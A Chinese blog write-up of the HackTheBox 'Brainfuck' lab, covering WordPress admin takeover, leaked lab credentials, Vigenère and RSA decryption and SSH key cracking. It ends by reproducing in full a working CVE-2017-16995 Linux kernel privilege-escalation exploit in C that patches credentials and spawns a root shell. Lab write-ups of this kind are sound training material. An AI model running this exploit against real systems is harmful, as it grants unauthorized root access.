HTB-Brainfuck

  • 信息收集
  • 443端口
    • https://sup3rs3cr3t.brainfuck.htb/
    • https://brainfuck.htb/和www.brainfuck.htb
  • 立足
  • 读取root.txt内容
  • oresits -> root

信息收集

443端口


查看对应证书。

从证书中能获得

  • Email Address： orestis@brainfuck.htb
  • Common Name：brainfuck.htb
  • DNS name： sup3rs3cr3t.brainfuck.htb
  • DNS name：www.brainfuck.htb
    除了Email Address以外都添加至/etc/hosts，分别访问它们并收集信息。

https://sup3rs3cr3t.brainfuck.htb/



网站拥有两个业务，登录和注册。在登陆的时候输入错误的账号密码会出现一个DEBUG。


注册账号时候密码小于8位也会出现此DEBUG提示。注册账号后登录可以看到能够修改头像。但是头像格式有如下限制： jpeg, png, bmp, gif。

尝试了几个上传绕过均无果后，先放在这备用。基本上此网站内容就已经探索完毕了。

https://brainfuck.htb/和www.brainfuck.htb


此网站业务大致有这么几个：登录、两个RSS、categories、能在dev update下留评论。一个一个看吧。

额，还在等待审核。

只有wp的登陆业务。

可以通过登陆来判断那些用户存在。

OK，这个网站也大致探索完毕了，该准备打副本了，在此之前需要细致查看对方信息。使用wpscan对其插件、用户等进行扫描。如果没有api，科学上网注册一个用户。


然后在个人的profile能看到免费的api。


疑似存在漏洞的地方有点多，慢慢试。

sql注入似乎不存在。

https://packetstormsecurity.com/files/140413/


根据目录扫描结果修改action的地址。

发送后页面有一个0。


然后切换到https://brainfuck.htb/界面就能看到以admin身份登录了。


想去theme反弹shell，结果遇到没有修改文件的权限。

接着去看plugin能不能反弹，但是连添加plugin的网页都没了。有可能是环境故意设计，也可能是其他玩家失误导致。再看看有没有其他路径，没有就只能重置了。

在插件页有一个Easy WP SMTP插件，点开setting会看到有STMP Password。


获得了orestis和SMTP的授权码kHGuERB29DNiNE。在网上随便收了一下linux的邮件管理软件。随意选了一个thunderbird。

点击电子邮箱，输入如下信息。

确定后输入kHGuERB29DNiNE。

然后就能看到邮件了。

第二封邮件告诉我们了一些东西。

使用所给的凭证orestis：kIEnnfEKJ#9UmdO登录 Super Secret Forum。


额，管理员禁止了keys登录，orestis被锁在外面了。然后就是他和管理员的甜言蜜语。

最后orestis说开了一个加密的进程，他和管理员会在加密进程中给他ssh证书。

下一步不出意外就是想办法破解这个加密。观察到如下几个特征：

  • 许多句子个数都是36。
  • 还有很多句号，可能是用来填充个数。

但是我实在想不起来什么密码具有此类特征，对我而言确实是brainfuck了。

话说这是什么：Orestis - Hacking for fun and profit。有没有一种可能orestis每次都会回答问题后留下的第二行就是加密后的Orestis - Hacking for fun and profit，可能Orestis - Hacking for fun and profit就是某个加密的key。瞎弄的时候发现了一个有趣的东西，这密码可能是维吉尼亚密码。


啊，头好痒要长脑子了。先说说我的想法，既然Orestis - Hacking for fun and profit不是其他文本的解密key，而通过Orestis - Hacking for fun and profit解密出来的brainfuckmybrainfuckmybrainfu可能有某一个顺序是key。

先通过python列出可能的key。

key = "brainfuckmybrainfuckmybrainfu"
flag1 = 0
for i in range(len(key)):tmp = key[i:] + key[:i]if tmp == key:flag1 += 1print(tmp)if flag1 == 2:break

以CTF在线工具为例子http://www.hiencode.com/，找到里面的维吉尼亚密码抓包

将key弄进去。

接着在options里找到grep。


然后就run在key：fuckmybrainfuckmybrainfubrain的时候会看到人类可阅读的文本，但是只有一部分。

继续寻找发现后半部分key，严格意义上是后面部分的key，后面五个是对的对应ckmyb。

也就是说真正的key是FUCKMYBRAINFUCKMYBRAINFUCKMYB。

但是到了最长的一句就又出现问题了。

这说明原本的密钥FUCKMYBRAINFUCKMYBRAINFUCKMYB后面还有。修改burp suite的intruder的请求后，继续寻找。

好的找到了是fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfub，但是后面又乱了，说明还有，继续找。


查找发现在57-1=56列开始出问题。
而我们的fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfub有58列，所以payload改为fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainf。


key=fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfubrainf时是我们能阅读的，但是似乎不全，少了东西，但是你仔细看There you go you stupid fuck, I hope you remember your key password because I dont就知道没问题了。

好了去看看我们的大boss：mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja有多长。

我们的神话装备：fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfubrainf有多长。

战斗力远远超过boss，轻松拿下。

得到超链接：https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa希望不要出幺蛾子。访问后得到orestis的id_rsa。

使用orestis：kIEnnfEKJ#9UmdO不行。

彳亍，用ssh2john处理id_rsa后使用john尝试破解。

立足

通过破解的密码3poulakia!登录orestis。

读取root.txt内容



尝试后暂时没有收获，继续收集信息。因为有另外一位玩家在和我同时游玩，可能看起来很混乱。

可能这个output是其他玩家留下的，也可能是环境就有的了，内容是一串数字。现在的事情就是找找这个东西是哪里来的。目录下还有一个debug.txt可能也和那个有关。

目录下还有一个.sage。

有如下文件：

  • ./cache/_usr_lib_sagemath_src-lazy_import_cache.pickle
  • ./ipython-5.0.0/profile_default/history.sqlite
  • ./ipython-5.0.0/profile_default/startup/README
  • ./R/Makevars.user

./cache/_usr_lib_sagemath_src-lazy_import_cache.pickle是python的pickle模块对小数据存储的一种方法，把小数据量存储在pickle文件中。

./ipython-5.0.0/profile_default/history.sqlite文件里面装着很有趣的东西，一堆python代码。

一个是password = open("/root/root.txt").read().strip()

nbits = 1024password = open("/root/root.txt").read().strip() #读取root.txt的字节并将空格去掉。
enc_pass = open("output.txt","w")               #打开一个output.txt文件，可以写入。
debug = open("debug.txt","w")                   #打开一个debug.txt文件，可以写入。
m = Integer(int(password.encode('hex'),16))       #将root.txt的内容转化为十六进制#又将转化后的的十六进制转整数并给m#然后就是RSA算法。
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:e = ZZ.random_element(phi)c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
#他把RSA的精华P Q E都写在debug里面了，帮大忙了。
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

根据代码所示获得RSA中的四个参数：

  • p:7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
  • q:7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
  • e:30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
  • c:44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
import gmpy2p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
c = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182L = (p-1)*(q-1)
d = gmpy2.invert(e,L)
n = p*q
m = gmpy2.powmod(c,d,n)
flag = str(m)
tmp =hex(int(flag))
tmp = tmp[2:]
flag = bytes.fromhex(tmp)
print(flag.decode('utf-8'))

当然希望能够获得root的权限。

oresits -> root

因为此靶场年代悠久，可能存在很多内核漏洞可以提权。通过CVE-2017-16995.可以实现本地提权。

附上代码及其github链接：

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];static __u64 ptr_to_u64(void *ptr)
{return (__u64) (unsigned long) ptr;
}int bpf_prog_load(enum bpf_prog_type prog_type,const struct bpf_insn *insns, int prog_len,const char *license, int kern_version)
{union bpf_attr attr = {.prog_type = prog_type,.insns = ptr_to_u64((void *) insns),.insn_cnt = prog_len / sizeof(struct bpf_insn),.license = ptr_to_u64((void *) license),.log_buf = ptr_to_u64(bpf_log_buf),.log_size = LOG_BUF_SIZE,.log_level = 1,};attr.kern_version = kern_version;bpf_log_buf[0] = 0;return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,int max_entries, int map_flags)
{union bpf_attr attr = {.map_type = map_type,.key_size = key_size,.value_size = value_size,.max_entries = max_entries};return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{union bpf_attr attr = {.map_fd = fd,.key = ptr_to_u64(key),.value = ptr_to_u64(value),.flags = flags,};return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}int bpf_lookup_elem(int fd, void *key, void *value)
{union bpf_attr attr = {.map_fd = fd,.key = ptr_to_u64(key),.value = ptr_to_u64(value),};return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}#define BPF_ALU64_IMM(OP, DST, IMM)                \((struct bpf_insn) {                   \.code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,  \.dst_reg = DST,                   \.src_reg = 0,                 \.off   = 0,                   \.imm   = IMM })#define BPF_MOV64_REG(DST, SRC)                    \((struct bpf_insn) {                   \.code  = BPF_ALU64 | BPF_MOV | BPF_X,     \.dst_reg = DST,                   \.src_reg = SRC,                   \.off   = 0,                   \.imm   = 0 })#define BPF_MOV32_REG(DST, SRC)                  \((struct bpf_insn) {                   \.code  = BPF_ALU | BPF_MOV | BPF_X,       \.dst_reg = DST,                   \.src_reg = SRC,                   \.off   = 0,                   \.imm   = 0 })#define BPF_MOV64_IMM(DST, IMM)                  \((struct bpf_insn) {                   \.code  = BPF_ALU64 | BPF_MOV | BPF_K,     \.dst_reg = DST,                   \.src_reg = 0,                 \.off   = 0,                   \.imm   = IMM })#define BPF_MOV32_IMM(DST, IMM)                    \((struct bpf_insn) {                   \.code  = BPF_ALU | BPF_MOV | BPF_K,       \.dst_reg = DST,                   \.src_reg = 0,                 \.off   = 0,                   \.imm   = IMM })#define BPF_LD_IMM64(DST, IMM)                 \BPF_LD_IMM64_RAW(DST, 0, IMM)#define BPF_LD_IMM64_RAW(DST, SRC, IMM)               \((struct bpf_insn) {                   \.code  = BPF_LD | BPF_DW | BPF_IMM,       \.dst_reg = DST,                   \.src_reg = SRC,                   \.off   = 0,                   \.imm   = (__u32) (IMM) }),            \((struct bpf_insn) {                   \.code  = 0,                   \.dst_reg = 0,                 \.src_reg = 0,                 \.off   = 0,                   \.imm   = ((__u64) (IMM)) >> 32 })#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD  1
#endif#define BPF_LD_MAP_FD(DST, MAP_FD)                \BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)           \((struct bpf_insn) {                   \.code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,  \.dst_reg = DST,                   \.src_reg = SRC,                   \.off   = OFF,                 \.imm   = 0 })#define BPF_STX_MEM(SIZE, DST, SRC, OFF)         \((struct bpf_insn) {                   \.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,  \.dst_reg = DST,                   \.src_reg = SRC,                   \.off   = OFF,                 \.imm   = 0 })#define BPF_ST_MEM(SIZE, DST, OFF, IMM)              \((struct bpf_insn) {                   \.code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM,   \.dst_reg = DST,                   \.src_reg = 0,                 \.off   = OFF,                 \.imm   = IMM })#define BPF_JMP_IMM(OP, DST, IMM, OFF)             \((struct bpf_insn) {                   \.code  = BPF_JMP | BPF_OP(OP) | BPF_K,        \.dst_reg = DST,                   \.src_reg = 0,                 \.off   = OFF,                 \.imm   = IMM })#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM)         \((struct bpf_insn) {                   \.code  = CODE,                    \.dst_reg = DST,                   \.src_reg = SRC,                   \.off   = OFF,                 \.imm   = IMM })#define BPF_EXIT_INSN()                        \((struct bpf_insn) {                   \.code  = BPF_JMP | BPF_EXIT,          \.dst_reg = 0,                 \.src_reg = 0,                 \.off   = 0,                   \.imm   = 0 })#define BPF_DISABLE_VERIFIER()                                                       \BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),             /* r2 = (u32)0xFFFFFFFF   */   \BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2),   /* if (r2 == -1) {        */   \BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */   \BPF_EXIT_INSN()                                   /* }                      */   \

#define BPF_MAP_GET(idx, dst)                                                        \BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */   \BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */   \BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */   \BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx),           /* *(u32 *)(fp - 4) = idx */   \BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),             \BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */   \BPF_EXIT_INSN(),                                  /*   exit(0);             */   \BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */              static int load_prog() {struct bpf_insn prog[] = {BPF_DISABLE_VERIFIER(),BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16),   /* *(fp - 16) = r1       */BPF_LD_MAP_FD(BPF_REG_9, mapfd),BPF_MAP_GET(0, BPF_REG_6),                         /* r6 = op               */BPF_MAP_GET(1, BPF_REG_7),                         /* r7 = address          */BPF_MAP_GET(2, BPF_REG_8),                         /* r8 = value            *//* store map slot address in r2 */BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),               /* r2 = r0               */BPF_MOV64_IMM(BPF_REG_0, 0),                       /* r0 = 0  for exit(0)   */BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),             /* if (op == 0)          *//* get fp */BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),BPF_EXIT_INSN(),BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),             /* else if (op == 1)     *//* get skbuff */BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),BPF_EXIT_INSN(),BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3),             /* else if (op == 2)     *//* read */BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),BPF_EXIT_INSN(),/* else                  *//* write */BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), BPF_EXIT_INSN(),};return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}void info(const char *fmt, ...) {va_list args;va_start(args, fmt);fprintf(stdout, "[.] ");vfprintf(stdout, fmt, args);va_end(args);
}void msg(const char *fmt, ...) {va_list args;va_start(args, fmt);fprintf(stdout, "[*] ");vfprintf(stdout, fmt, args);va_end(args);
}void redact(const char *fmt, ...) {va_list args;va_start(args, fmt);if(doredact) {fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");return;}fprintf(stdout, "[*] ");vfprintf(stdout, fmt, args);va_end(args);
}void fail(const char *fmt, ...) {va_list args;va_start(args, fmt);fprintf(stdout, "[!] ");vfprintf(stdout, fmt, args);va_end(args);exit(1);
}void
initialize() {info("\n");info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");info("\n");info("  ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");info("\n");redact("creating bpf map\n");mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);if (mapfd < 0) {fail("failed to create bpf map: '%s'\n", strerror(errno));}redact("sneaking evil bpf past the verifier\n");progfd = load_prog();if (progfd < 0) {if (errno == EACCES) {msg("log:\n%s", bpf_log_buf);}fail("failed to load prog '%s'\n", strerror(errno));}redact("creating socketpair()\n");if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {fail("failed to create socket pair '%s'\n", strerror(errno));}redact("attaching bpf backdoor to socket\n");if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {fail("setsockopt '%s'\n", strerror(errno));}
}static void writemsg() {ssize_t n = write(sockets[0], buffer, sizeof(buffer));if (n < 0) {perror("write");return;}if (n != sizeof(buffer)) {fprintf(stderr, "short write: %zd\n", n);}
}static void
update_elem(int key, unsigned long value) {if (bpf_update_elem(mapfd, &key, &value, 0)) {fail("bpf_update_elem failed '%s'\n", strerror(errno));}
}static unsigned long
get_value(int key) {unsigned long value;if (bpf_lookup_elem(mapfd, &key, &value)) {fail("bpf_lookup_elem failed '%s'\n", strerror(errno));}return value;
}static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {update_elem(0, op);update_elem(1, addr);update_elem(2, value);writemsg();return get_value(2);
}unsigned long
get_skbuff() {return sendcmd(1, 0, 0);
}unsigned long
get_fp() {return sendcmd(0, 0, 0);
}unsigned long
read64(unsigned long addr) {return sendcmd(2, addr, 0);
}void
write64(unsigned long addr, unsigned long val) {(void)sendcmd(3, addr, val);
}static unsigned long find_cred() {uid_t uid = getuid();unsigned long skbuff = get_skbuff();/** struct sk_buff {*     [...24 byte offset...]*     struct sock     *sk;* };**/unsigned long sock_addr = read64(skbuff + 24);msg("skbuff => %llx\n", skbuff);msg("Leaking sock struct from %llx\n", sock_addr);   if(sock_addr < PHYS_OFFSET){fail("Failed to find Sock address from sk_buff.\n");}  /** scan forward for expected sk_rcvtimeo value.** struct sock {*    [...]*    const struct cred      *sk_peer_cred; *    long                    sk_rcvtimeo;             *  };*/for (int i = 0; i < 100; i++, sock_addr += 8) {if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {unsigned long cred_struct = read64(sock_addr - 8);if(cred_struct < PHYS_OFFSET) {continue;}unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);if(test_uid != uid) {continue;}msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);msg("Cred structure at %llx\n", cred_struct);msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);return cred_struct;}}fail("failed to find sk_rcvtimeo.\n");
}static void
hammer_cred(unsigned long addr) {msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }unsigned long val = read64(addr) & 0xFFFFFFFFUL;w64(val); w64(0); w64(0); w64(0); w64(0);w64(0xFFFFFFFFFFFFFFFF); w64(0xFFFFFFFFFFFFFFFF); w64(0xFFFFFFFFFFFFFFFF);
#undef w64
}int
main(int argc, char **argv) {initialize();hammer_cred(find_cred());msg("credentials patched, launching shell...\n");if(execl("/bin/sh", "/bin/sh", NULL)) {fail("exec %s\n", strerror(errno));}
}

HTB-Brainfuck相关推荐

  1. HackTheBox - Brainfuck Write Up

    OS:Linux DIFFICULTY:Insane 0x01 信息收集 端口扫描 + 指纹识别 naabu -host 10.10.10.17 -Pn -tp full -nmap-cli 'nma ...

  2. 废物的靶场日记 hackthebox-lame+brainfuck

    废物的靶场日记 hackthebox-lame+brainfuck 之前都是做active的机器 为什么突然开始做简单的退役靶机了呢 因为打算过段时间去考个oscp 看到了一份htb上应该做的清单 就 ...

  3. buuctf (misc)神秘龙卷风 [brainfuck密码,压缩包密码爆破]

    因为是四位数字.直接爆破一下 得到密码后打开 brainfuck加密 https://www.splitbrain.org/services/ook flag{e4bbef8bdf9743f8bf5b ...

  4. Brainfuck解释器（C#）

    根据维基百科上的内容随手写的一个BF解释器,输入有两个参数--程序代码.输入流,返回内容为输出流.输入.输出均为字符串. 字符 含义 C语言替换 > 指针加一 ++ptr; < 指针减一 ...

  5. 20220216-MISC-BUUCTF-另外一个世界-winhex,ASCII转换-FLAG- ZIP文件提取并修复-假如给我三天光明-ZIP改RAR，摩丝电码波形转换-神秘龙卷风brainfuck

    第一题-MISC-BUUCTF-另外一个世界 注意:得到的 flag 请包上 flag{} 提交 [1]下载附件并解压,得到monster.jpg [2]分析这张图片: (1)binwalk 这应该是 ...

  6. 手机流量共享 linux,linux – 通过HTB共享带宽和优先处理实时流量,哪种方案更好？...

    我想在我们的互联网线路上添加一些流量管理.在阅读了大量文档之后,我认为HFSC对我来说太复杂了(我不了解所有曲线的东西,我担心我永远不会把它弄好),CBQ不推荐,基本上HTB就是通往适合大多数人. 我 ...

  7. linux htb 源代码,LINUX TC:HTB相关源码

    LINUX TC:HTB相关源码 收藏 HTB(hierarchy token buffer)是linux tc(traffic control)模块中的排队队列的一种.它的配置比CBQ要简单.同时实 ...

  8. BrainFuck——C实现BrainFuck解释器

    首先介绍一下吊炸天的语言--BrainFuck Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的.由于fuck在英语中是脏话,这种语言有时被称为brainf ...

  9. Linux 工具 | 第1篇：高级流控-TC+HTB+IFB+内核模块

    作者:isshe 日期:2018.09.19 邮箱:i.sshe@outlook.com github: https://github.com/isshe 高级流控-TC+HTB+IFB+内核模块 1 ...

  10. Brainfuck语言入门

    Brainfuck语言(简称BF)是一种非常接近图灵机的编程语言. 本文既是BF的详细介绍和工具,也是我学习BF的全过程记录. 目录 一,指令 二,翻译成C/C++ 三,打印A 四,BF的归0操作 五 ...

最新文章

  1. 【C++】【六】约瑟夫问题
  2. 深度学习在计算机视觉领域（包括图像，视频，3-D点云，深度图）的应用一览
  3. Vue钩子函数mounted实现进入页面立即查询的功能案例
  4. 20个很酷的CSS3导航菜单制作教程
  5. 北京市委书记蔡奇：加快拓展数字人民币应用全场景试点
  6. 进程间的六种通信方式
  7. 为什么我建议你这样实现MySQL分页
  8. 转载--Python random模块（获取随机数）常用方法和使用例子
  9. LM224的放大电路的几个应用电路
  10. 自制hdmi线一头改vga图_破拆电脑VGA电缆以制作收音机天线零件：双目铁氧体磁芯...
  11. Android放大镜实现的两种方式
  12. 全国应用计算机水平考试,全国计算机应用水平考试
  13. char, unsigned char, int,unsigned int之间的相互转换
  14. DirectShow编程（1）- DirectShow介绍
  15. AtCoder Beginner 217 Solution
  16. 可信数智云，联通云的个性化标签
  17. 单片机反相器_AVR单片机在工业控制系统中的应用
  18. 第二十次ScrumMeeting博客
  19. 语音识别中Chain Model的原理和实践
  20. swift 音乐播放单例

热门文章

  1. linux查看驱动设备,linux查看硬件信息及驱动设备相关整理(留存验证)
  2. node.js实现注册和登录
  3. GiteePages自动部署
  4. JavaScript语法规范
  5. Pandas读取文件的OSError: Initializing from file failed错误解决
  6. django框架运用--------股票系统
  7. [图示]神相的‘敏捷项目管理’
  8. 大众高尔夫1.4T调校动力地图初探
  9. 【AHK】自定义窗口大小的GUI
  10. 一个男人暴露出了这3种人格，一定要远离